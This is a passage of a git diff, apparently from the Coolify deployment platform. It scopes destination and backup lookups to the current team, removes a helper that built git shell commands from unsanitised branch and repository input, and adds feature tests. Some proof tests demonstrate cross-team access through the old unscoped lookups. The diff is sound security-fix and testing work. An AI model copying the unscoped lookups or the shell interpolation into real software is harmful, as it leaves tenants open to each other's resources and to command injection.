$destination_class = $destination->getMorphClass(); @@ -371,12 +364,6 @@ public function submit() $fqdn = generateUrl(server: $destination->server, random: $application->uuid); $application->fqdn = $fqdn; $application->save(); - if ($this->checkCoolifyConfig) { - // $config = loadConfigFromGit($this->repository_url, $this->git_branch, $this->base_directory, $this->query['server_id'], auth()->user()->currentTeam()->id); - // if ($config) { - // $application->setConfig($config); - // } - } return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 1073157e6..f07948dba 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -5,8 +5,6 @@ use App\Models\Application; use App\Models\GithubApp; use App\Models\Project; -use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use Livewire\Component; use Visus\Cuid2\Cuid2; @@ -35,13 +33,10 @@ public function submit() $this->validate([ 'dockerfile' => 'required', ]); - $destination_uuid = $this->query['destination']; - $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); + $destination_uuid = $this->query['destination'] ?? null; + $destination = find_destination_for_current_team($destination_uuid); if (! $destination) { - $destination = SwarmDocker::where('uuid', $destination_uuid)->first(); - } - if (! $destination) { - throw new \Exception('Destination not found. What?!'); + throw new \Exception('Destination not found.'); } $destination_class = $destination->getMorphClass(); diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index 966c66a14..4619ddf37 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -4,7 +4,6 @@ use App\Models\EnvironmentVariable; use App\Models\Service; -use App\Models\StandaloneDocker; use Livewire\Component; class Create extends Component @@ -18,7 +17,6 @@ public function mount() $type = str(request()->query('type')); $destination_uuid = request()->query('destination'); - $server_id = request()->query('server_id'); $database_image = request()->query('database_image'); $project = currentTeam()->load(['projects'])->projects->where('uuid', request()->route('project_uuid'))->first(); @@ -30,7 +28,11 @@ public function mount() if (! $environment) { return redirect()->route('dashboard'); } - if (isset($type) && isset($destination_uuid) && isset($server_id)) { + if (isset($type) && isset($destination_uuid)) { + $destination = find_destination_for_current_team($destination_uuid); + if (! $destination) { + return redirect()->route('dashboard'); + } $services = get_service_templates(); if (in_array($type, DATABASE_TYPES)) { @@ -44,23 +46,23 @@ public function mount() } $database = create_standalone_postgresql( environmentId: $environment->id, - destinationUuid: $destination_uuid, + destination: $destination, databaseImage: $database_image ); } elseif ($type->value() === 'redis') { - $database = create_standalone_redis($environment->id, $destination_uuid); + $database = create_standalone_redis($environment->id, $destination); } elseif ($type->value() === 'mongodb') { - $database = create_standalone_mongodb($environment->id, $destination_uuid); + $database = create_standalone_mongodb($environment->id, $destination); } elseif ($type->value() === 'mysql') { - $database = create_standalone_mysql($environment->id, $destination_uuid); + $database = create_standalone_mysql($environment->id, $destination); } elseif ($type->value() === 'mariadb') { - $database = create_standalone_mariadb($environment->id, $destination_uuid); + $database = create_standalone_mariadb($environment->id, $destination); } elseif ($type->value() === 'keydb') { - $database = create_standalone_keydb($environment->id, $destination_uuid); + $database = create_standalone_keydb($environment->id, $destination); } elseif ($type->value() === 'dragonfly') { - $database = create_standalone_dragonfly($environment->id, $destination_uuid); + $database = create_standalone_dragonfly($environment->id, $destination); } elseif ($type->value() === 'clickhouse') { - $database = create_standalone_clickhouse($environment->id, $destination_uuid); + $database = create_standalone_clickhouse($environment->id, $destination); } return redirect()->route('project.database.configuration', [ @@ -69,7 +71,7 @@ public function mount() 'database_uuid' => $database->uuid, ]); } - if ($type->startsWith('one-click-service-') && ! is_null((int) $server_id)) { + if ($type->startsWith('one-click-service-')) { $oneClickServiceName = $type->after('one-click-service-')->value(); $oneClickService = data_get($services, "$oneClickServiceName.compose"); $oneClickDotEnvs = data_get($services, "$oneClickServiceName.envs", null); @@ -79,12 +81,11 @@ public function mount() }); } if ($oneClickService) { - $destination = StandaloneDocker::whereUuid($destination_uuid)->first(); $service_payload = [ 'docker_compose_raw' => base64_decode($oneClickService), 'environment_id' => $environment->id, 'service_type' => $oneClickServiceName, - 'server_id' => (int) $server_id, + 'server_id' => $destination->server_id, 'destination_id' => $destination->id, 'destination_type' => $destination->getMorphClass(), ]; diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index f4813dd4c..2a8747c33 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -58,10 +58,9 @@ public function cloneTo($destination_id) { $this->authorize('update', $this->resource); - $teamScope = fn ($q) => $q->where('team_id', currentTeam()->id); - $new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id); + $new_destination = StandaloneDocker::ownedByCurrentTeam()->find($destination_id); if (! $new_destination) { - $new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id); + $new_destination = SwarmDocker::ownedByCurrentTeam()->find($destination_id); } if (! $new_destination) { return $this->addError('destination_id', 'Destination not found.'); diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index 643ecb3eb..0dad2d548 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -25,7 +25,9 @@ public function mount(): void public function disableS3(int $backupId): void { - $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $backup = ScheduledDatabaseBackup::where('id', $backupId) + ->where('s3_storage_id', $this->storage->id) + ->firstOrFail(); $backup->update([ 'save_s3' => false, @@ -39,7 +41,9 @@ public function disableS3(int $backupId): void public function moveBackup(int $backupId): void { - $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $backup = ScheduledDatabaseBackup::where('id', $backupId) + ->where('s3_storage_id', $this->storage->id) + ->firstOrFail(); $newStorageId = $this->selectedStorages[$backupId] ?? null; if (! $newStorageId || (int) $newStorageId === $this->storage->id) { diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index dcb349405..d6b4d1a1c 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -90,6 +90,16 @@ public function server() return $this->belongsTo(Server::class); } + public static function ownedByCurrentTeam() + { + return static::whereHas('server', fn ($q) => $q->whereTeamId(currentTeam()->id)); + } + + public static function ownedByCurrentTeamAPI(int $teamId) + { + return static::whereHas('server', fn ($q) => $q->whereTeamId($teamId)); + } + /** * Get the server attribute using identity map caching. * This intercepts lazy-loading to use cached Server lookups. diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 134e36189..0e9620457 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -71,6 +71,16 @@ public function server() return $this->belongsTo(Server::class); } + public static function ownedByCurrentTeam() + { + return static::whereHas('server', fn ($q) => $q->whereTeamId(currentTeam()->id)); + } + + public static function ownedByCurrentTeamAPI(int $teamId) + { + return static::whereHas('server', fn ($q) => $q->whereTeamId($teamId)); + } + /** * Get the server attribute using identity map caching. * This intercepts lazy-loading to use cached Server lookups. diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php index 5df36db33..4d5e085f3 100644 --- a/bootstrap/helpers/databases.php +++ b/bootstrap/helpers/databases.php @@ -3,6 +3,7 @@ use App\Models\EnvironmentVariable; use App\Models\S3Storage; use App\Models\Server; +use App\Models\ServiceDatabase; use App\Models\StandaloneClickhouse; use App\Models\StandaloneDocker; use App\Models\StandaloneDragonfly; @@ -12,18 +13,19 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; +use App\Models\SwarmDocker; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Storage; +use Illuminate\Support\Str; use Visus\Cuid2\Cuid2; -function create_standalone_postgresql($environmentId, $destinationUuid, ?array $otherData = null, string $databaseImage = 'postgres:16-alpine'): StandalonePostgresql +function create_standalone_postgresql($environmentId, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null, string $databaseImage = 'postgres:16-alpine'): StandalonePostgresql { - $destination = StandaloneDocker::where('uuid', $destinationUuid)->firstOrFail(); $database = new StandalonePostgresql; $database->uuid = (new Cuid2); $database->name = 'postgresql-database-'.$database->uuid; $database->image = $databaseImage; - $database->postgres_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->postgres_password = Str::password(length: 64, symbols: false); $database->environment_id = $environmentId; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -35,14 +37,13 @@ function create_standalone_postgresql($environmentId, $destinationUuid, ?array $ return $database; } -function create_standalone_redis($environment_id, $destination_uuid, ?array $otherData = null): StandaloneRedis +function create_standalone_redis($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneRedis { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneRedis; $database->uuid = (new Cuid2); $database->name = 'redis-database-'.$database->uuid; - $redis_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $redis_password = Str::password(length: 64, symbols: false); if ($otherData && isset($otherData['redis_password'])) { $redis_password = $otherData['redis_password']; unset($otherData['redis_password']); @@ -75,13 +76,12 @@ function create_standalone_redis($environment_id, $destination_uuid, ?array $oth return $database; } -function create_standalone_mongodb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMongodb +function create_standalone_mongodb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMongodb { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneMongodb; $database->uuid = (new Cuid2); $database->name = 'mongodb-database-'.$database->uuid; - $database->mongo_initdb_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->mongo_initdb_root_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -93,14 +93,13 @@ function create_standalone_mongodb($environment_id, $destination_uuid, ?array $o return $database; } -function create_standalone_mysql($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMysql +function create_standalone_mysql($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMysql { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneMysql; $database->uuid = (new Cuid2); $database->name = 'mysql-database-'.$database->uuid; - $database->mysql_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false); - $database->mysql_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->mysql_root_password = Str::password(length: 64, symbols: false); + $database->mysql_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -112,14 +111,13 @@ function create_standalone_mysql($environment_id, $destination_uuid, ?array $oth return $database; } -function create_standalone_mariadb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMariadb +function create_standalone_mariadb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMariadb { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneMariadb; $database->uuid = (new Cuid2); $database->name = 'mariadb-database-'.$database->uuid; - $database->mariadb_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false); - $database->mariadb_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->mariadb_root_password = Str::password(length: 64, symbols: false); + $database->mariadb_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -131,13 +129,12 @@ function create_standalone_mariadb($environment_id, $destination_uuid, ?array $o return $database; } -function create_standalone_keydb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneKeydb +function create_standalone_keydb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneKeydb { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneKeydb; $database->uuid = (new Cuid2); $database->name = 'keydb-database-'.$database->uuid; - $database->keydb_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->keydb_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -149,13 +146,12 @@ function create_standalone_keydb($environment_id, $destination_uuid, ?array $oth return $database; } -function create_standalone_dragonfly($environment_id, $destination_uuid, ?array $otherData = null): StandaloneDragonfly +function create_standalone_dragonfly($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneDragonfly { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneDragonfly; $database->uuid = (new Cuid2); $database->name = 'dragonfly-database-'.$database->uuid; - $database->dragonfly_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->dragonfly_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -167,13 +163,12 @@ function create_standalone_dragonfly($environment_id, $destination_uuid, ?array return $database; } -function create_standalone_clickhouse($environment_id, $destination_uuid, ?array $otherData = null): StandaloneClickhouse +function create_standalone_clickhouse($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneClickhouse { - $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail(); $database = new StandaloneClickhouse; $database->uuid = (new Cuid2); $database->name = 'clickhouse-database-'.$database->uuid; - $database->clickhouse_admin_password = \Illuminate\Support\Str::password(length: 64, symbols: false); + $database->clickhouse_admin_password = Str::password(length: 64, symbols: false); $database->environment_id = $environment_id; $database->destination_id = $destination->id; $database->destination_type = $destination->getMorphClass(); @@ -279,7 +274,7 @@ function removeOldBackups($backup): void ->whereNull('s3_uploaded') ->delete(); - } catch (\Exception $e) { + } catch (Exception $e) { throw $e; } } @@ -345,7 +340,7 @@ function deleteOldBackupsLocally($backup): Collection $processedBackups = collect(); $server = null; - if ($backup->database_type === \App\Models\ServiceDatabase::class) { + if ($backup->database_type === ServiceDatabase::class) { $server = $backup->database->service->server; } else { $server = $backup->database->destination->server; diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index cd773f6a9..88a2c645e 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -18,6 +18,7 @@ use App\Models\ServiceDatabase; use App\Models\SharedEnvironmentVariable; use App\Models\StandaloneClickhouse; +use App\Models\StandaloneDocker; use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; use App\Models\StandaloneMariadb; @@ -25,6 +26,7 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; +use App\Models\SwarmDocker; use App\Models\Team; use App\Models\User; use Carbon\CarbonImmutable; @@ -259,6 +261,16 @@ function currentTeam() return Auth::user()?->currentTeam() ?? null; } +function find_destination_for_current_team(?string $uuid): StandaloneDocker|SwarmDocker|null +{ + if (blank($uuid) || ! currentTeam()) { + return null; + } + + return StandaloneDocker::ownedByCurrentTeam()->where('uuid', $uuid)->first() + ?? SwarmDocker::ownedByCurrentTeam()->where('uuid', $uuid)->first(); +} + function showBoarding(): bool { if (isDev()) { @@ -3489,34 +3501,6 @@ function getHelperVersion(): string return config('constants.coolify.helper_version'); } -function loadConfigFromGit(string $repository, string $branch, string $base_directory, int $server_id, int $team_id) -{ - $server = Server::find($server_id)->where('team_id', $team_id)->first(); - if (! $server) { - return; - } - $uuid = new Cuid2; - $cloneCommand = "git clone --no-checkout -b $branch $repository ."; - $workdir = rtrim($base_directory, '/'); - $fileList = collect([".$workdir/coolify.json"]); - $commands = collect([ - "rm -rf /tmp/{$uuid}", - "mkdir -p /tmp/{$uuid}", - "cd /tmp/{$uuid}", - $cloneCommand, - 'git sparse-checkout init --cone', - "git sparse-checkout set {$fileList->implode(' ')}", - 'git read-tree -mu HEAD', - "cat .$workdir/coolify.json", - 'rm -rf /tmp/{$uuid}', - ]); - try { - return instant_remote_process($commands, $server); - } catch (Exception) { - // continue - } -} - function loggy($message = null, array $context = []) { if (! isDev()) { diff --git a/tests/Feature/TeamScopedBackupStorageTest.php b/tests/Feature/TeamScopedBackupStorageTest.php new file mode 100644 index 000000000..57a065ae8 --- /dev/null +++ b/tests/Feature/TeamScopedBackupStorageTest.php @@ -0,0 +1,106 @@ + InstanceSettings::query()->create(['id' => 0])); + + $this->userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + + $this->storageA = S3Storage::unguarded(fn () => S3Storage::create([ + 'uuid' => fake()->uuid(), + 'name' => 'storage-a-'.fake()->unique()->word(), + 'region' => 'us-east-1', + 'key' => 'key-a', + 'secret' => 'secret-a', + 'bucket' => 'bucket-a', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $this->teamA->id, + ])); + + $this->storageB = S3Storage::unguarded(fn () => S3Storage::create([ + 'uuid' => fake()->uuid(), + 'name' => 'storage-b-'.fake()->unique()->word(), + 'region' => 'us-east-1', + 'key' => 'key-b', + 'secret' => 'secret-b', + 'bucket' => 'bucket-b', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $this->teamB->id, + ])); + + $this->backupA = ScheduledDatabaseBackup::create([ + 'uuid' => fake()->uuid(), + 'team_id' => $this->teamA->id, + 'enabled' => true, + 'save_s3' => true, + 'frequency' => '0 0 * * *', + 'database_type' => 'App\\Models\\StandalonePostgresql', + 'database_id' => 1, + 's3_storage_id' => $this->storageA->id, + ]); + + $this->backupB = ScheduledDatabaseBackup::create([ + 'uuid' => fake()->uuid(), + 'team_id' => $this->teamB->id, + 'enabled' => true, + 'save_s3' => true, + 'frequency' => '0 0 * * *', + 'database_type' => 'App\\Models\\StandalonePostgresql', + 'database_id' => 2, + 's3_storage_id' => $this->storageB->id, + ]); + + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +describe('Storage/Resources team-scoped backup access', function () { + test('disableS3 on other team backup throws and leaves row unchanged', function () { + expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA]) + ->call('disableS3', $this->backupB->id)) + ->toThrow(ModelNotFoundException::class); + + $this->backupB->refresh(); + expect((bool) $this->backupB->save_s3)->toBeTrue(); + expect($this->backupB->s3_storage_id)->toBe($this->storageB->id); + }); + + test('moveBackup on other team backup throws and leaves row unchanged', function () { + expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA]) + ->set('selectedStorages', [$this->backupB->id => $this->storageA->id]) + ->call('moveBackup', $this->backupB->id)) + ->toThrow(ModelNotFoundException::class); + + $this->backupB->refresh(); + expect($this->backupB->s3_storage_id)->toBe($this->storageB->id); + }); + + test('disableS3 on own backup succeeds', function () { + Livewire::test(StorageResources::class, ['storage' => $this->storageA]) + ->call('disableS3', $this->backupA->id); + + $this->backupA->refresh(); + expect((bool) $this->backupA->save_s3)->toBeFalse(); + expect($this->backupA->s3_storage_id)->toBeNull(); + }); +}); diff --git a/tests/Feature/TeamScopedDestinationTest.php b/tests/Feature/TeamScopedDestinationTest.php new file mode 100644 index 000000000..bdac0251d --- /dev/null +++ b/tests/Feature/TeamScopedDestinationTest.php @@ -0,0 +1,297 @@ + InstanceSettings::query()->create(['id' => 0])); + + $this->userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + $this->destinationA = StandaloneDocker::factory()->create([ + 'server_id' => $this->serverA->id, + 'name' => 'dest-a-'.fake()->unique()->word(), + 'network' => 'coolify-a-'.fake()->unique()->word(), + ]); + + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + $this->destinationB = StandaloneDocker::factory()->create([ + 'server_id' => $this->serverB->id, + 'name' => 'dest-b-'.fake()->unique()->word(), + 'network' => 'coolify-b-'.fake()->unique()->word(), + ]); + $this->swarmDestinationB = SwarmDocker::create([ + 'uuid' => fake()->uuid(), + 'name' => 'swarm-b-'.fake()->unique()->word(), + 'network' => 'swarm-b-'.fake()->unique()->word(), + 'server_id' => $this->serverB->id, + ]); + + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +describe('find_destination_for_current_team helper', function () { + test('returns null for other team destination UUID', function () { + expect(find_destination_for_current_team($this->destinationB->uuid))->toBeNull(); + }); + + test('returns null for other team swarm destination UUID', function () { + expect(find_destination_for_current_team($this->swarmDestinationB->uuid))->toBeNull(); + }); + + test('returns own team destination', function () { + $found = find_destination_for_current_team($this->destinationA->uuid); + expect($found)->not->toBeNull(); + expect($found->id)->toBe($this->destinationA->id); + }); + + test('returns null for blank uuid', function () { + expect(find_destination_for_current_team(null))->toBeNull(); + expect(find_destination_for_current_team(''))->toBeNull(); + }); +}); + +describe('SimpleDockerfile destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + request()->headers->set('referer', route('project.resource.create', $routeParams).'?destination='.$this->destinationB->uuid); + + $before = Application::count(); + + expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(SimpleDockerfile::class, $routeParams) + ->set('dockerfile', "FROM nginx\nCMD [\"nginx\"]\n") + ->call('submit')) + ->toThrow(Exception::class, 'Destination not found.'); + + expect(Application::count())->toBe($before); + }); +}); + +describe('DockerImage destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(DockerImage::class, $routeParams) + ->set('imageName', 'nginx') + ->set('imageTag', 'latest') + ->call('submit')) + ->toThrow(Exception::class, 'Destination not found.'); + + expect(Application::count())->toBe($before); + }); + + test('submit with other team swarm destination throws', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + expect(fn () => Livewire::withUrlParams(['destination' => $this->swarmDestinationB->uuid]) + ->test(DockerImage::class, $routeParams) + ->set('imageName', 'nginx') + ->set('imageTag', 'latest') + ->call('submit')) + ->toThrow(Exception::class, 'Destination not found.'); + }); +}); + +describe('DockerCompose destination + server_id team scope', function () { + test('submit with other team destination throws and creates no service', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Service::count(); + + Livewire::withUrlParams([ + 'destination' => $this->destinationB->uuid, + 'server_id' => $this->serverB->id, + ]) + ->test(DockerCompose::class, $routeParams) + ->set('dockerComposeRaw', "services:\n app:\n image: nginx\n") + ->call('submit'); + + expect(Service::count())->toBe($before); + }); + +}); + +describe('PublicGitRepository destination team scope', function () { + test('submit with other team destination creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + try { + Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(PublicGitRepository::class, $routeParams) + ->set('repository_url', 'https://github.com/coollabsio/coolify') + ->set('git_repository', 'coollabsio/coolify') + ->set('git_branch', 'main') + ->set('port', 3000) + ->set('build_pack', 'nixpacks') + ->set('git_source', 'other') + ->call('submit'); + } catch (Throwable $e) { + // submit wraps errors via handleError; count assertion below is source of truth + } + + expect(Application::count())->toBe($before); + }); +}); + +describe('GithubPrivateRepository destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + try { + Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(GithubPrivateRepository::class, $routeParams) + ->call('submit'); + } catch (Throwable $e) { + // expected + } + + expect(Application::count())->toBe($before); + }); +}); + +describe('GithubPrivateRepositoryDeployKey destination team scope', function () { + test('submit with other team destination throws and creates no application', function () { + $routeParams = [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]; + + $before = Application::count(); + + try { + Livewire::withUrlParams(['destination' => $this->destinationB->uuid]) + ->test(GithubPrivateRepositoryDeployKey::class, $routeParams) + ->call('submit'); + } catch (Throwable $e) { + // expected + } + + expect(Application::count())->toBe($before); + }); +}); + +describe('Resource/Create database destination team scope', function () { + test('mount with other team destination does not create database', function () { + $before = StandalonePostgresql::count(); + + $url = route('project.resource.create', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]).'?type=postgresql&destination='.$this->destinationB->uuid.'&server_id='.$this->serverB->id.'&database_image=postgres:16-alpine'; + + $this->get($url); + + expect(StandalonePostgresql::count())->toBe($before); + }); + +}); + +describe('StandaloneDocker/SwarmDocker ownedByCurrentTeam scope', function () { + test('StandaloneDocker::ownedByCurrentTeam excludes other team destinations', function () { + expect(StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationB->uuid)->first())->toBeNull(); + }); + + test('SwarmDocker::ownedByCurrentTeam excludes other team destinations', function () { + expect(SwarmDocker::ownedByCurrentTeam()->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull(); + }); + + test('StandaloneDocker::ownedByCurrentTeam returns own destination', function () { + $found = StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationA->uuid)->first(); + expect($found)->not->toBeNull(); + expect($found->id)->toBe($this->destinationA->id); + }); + + test('StandaloneDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () { + expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->destinationB->uuid)->first())->toBeNull(); + expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->destinationB->uuid)->first()?->id)->toBe($this->destinationB->id); + }); + + test('SwarmDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () { + expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull(); + expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->swarmDestinationB->uuid)->first()?->id)->toBe($this->swarmDestinationB->id); + }); +}); + +describe('Destination/Show team scope', function () { + test('mount with other team destination UUID redirects to index', function () { + $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationB->uuid]); + + expect($component->get('destination'))->toBeNull(); + $component->assertRedirect(route('destination.index')); + }); + + test('mount with own destination UUID loads it', function () { + $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid]); + + expect($component->get('destination'))->not->toBeNull(); + expect($component->get('destination')->id)->toBe($this->destinationA->id); + }); + + test('mount with other team swarm destination UUID redirects to index', function () { + $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->swarmDestinationB->uuid]); + + expect($component->get('destination'))->toBeNull(); + $component->assertRedirect(route('destination.index')); + }); +}); diff --git a/tests/Feature/TeamScopedResourceProofsTest.php b/tests/Feature/TeamScopedResourceProofsTest.php new file mode 100644 index 000000000..b56fbd60e --- /dev/null +++ b/tests/Feature/TeamScopedResourceProofsTest.php @@ -0,0 +1,96 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id, 'network' => 'net-a-'.fake()->uuid()]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Team B (other team) + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id, 'network' => 'net-b-'.fake()->uuid()]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + // Authenticate as Team A + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('unscoped Project lookup returns another teams project', function () { + $project = Project::where('uuid', $this->projectB->uuid)->first(); + + expect($project)->not->toBeNull() + ->and($project->team_id)->toBe($this->teamB->id) + ->and($project->team_id)->not->toBe($this->teamA->id); +}); + +test('unscoped StandaloneDocker lookup returns another teams destination', function () { + $dest = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first(); + + expect($dest)->not->toBeNull() + ->and($dest->server->team_id)->toBe($this->teamB->id); +}); + +test('ownedByCurrentTeam scope blocks other-team Project access', function () { + expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectB->uuid)->first())->toBeNull(); +}); + +test('ownedByCurrentTeam scope allows own Project access', function () { + expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectA->uuid)->first())->not->toBeNull(); +}); + +test('Team A can create Application in Team B environment via unscoped lookups', function () { + $destination = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first(); + $project = Project::where('uuid', 